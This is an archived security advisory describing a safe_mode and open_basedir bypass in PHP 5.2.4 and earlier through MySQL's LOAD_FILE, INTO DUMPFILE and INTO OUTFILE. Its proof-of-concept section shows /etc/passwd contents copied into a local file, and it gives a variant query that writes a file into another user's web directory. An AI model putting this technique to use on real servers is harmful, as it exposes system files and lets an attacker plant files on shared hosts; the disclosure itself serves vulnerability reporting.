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TUCoPS :: Web :: PHP :: tb12477.htm

PHP 5.2.4 <= various mysql functions safemode & open_basedir bypass



PHP 5.2.4 <= various mysql functions safemode & open_basedir bypass
PHP 5.2.4 <= various mysql functions safemode & open_basedir bypass



Application: PHP <=5.2.4
Web Site: http://php.net 
Platform: unix
Bug: safemode & open_basedir bypass

-------------------------------------------------------

1) Introduction
2) Bug
3) Proof of concept
4) Credits
==========1) Introduction
==========
"PHP is a widely-used general-purpose scripting language that
is especially suited for Web development and can be embedded into HTML."

=====2) Bug
=====various mysql functions safemode & open_basedir bypass
( LOAD_FILE , INTO DUMPFILE , INTO OUTFILE )
====3)Proof of concept
====/*
debian:~# php -v
PHP 5.2.4 (cli) (built: Aug 31 2007 16:39:15)
Copyright (c) 1997-2007 The PHP Group
Zend Engine v2.2.0, Copyright (c) 1998-2007 Zend Technologies
*/

debian:/test/mysql# ls
debian:/test/mysql#




debian:/test/mysql# ls
123.txt
debian:/test/mysql#
debian:/test/mysql# vim 123.txt
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync


variant : select '' into dumpfile '/home/NOT_MY_USER/www/index1.php'; 


====4)Credits & greets
====
laurent gaffi=E9
laurent.gaffi=E9@gmail.com 

greets: Mattias Bengtsson (see http://php.net). 


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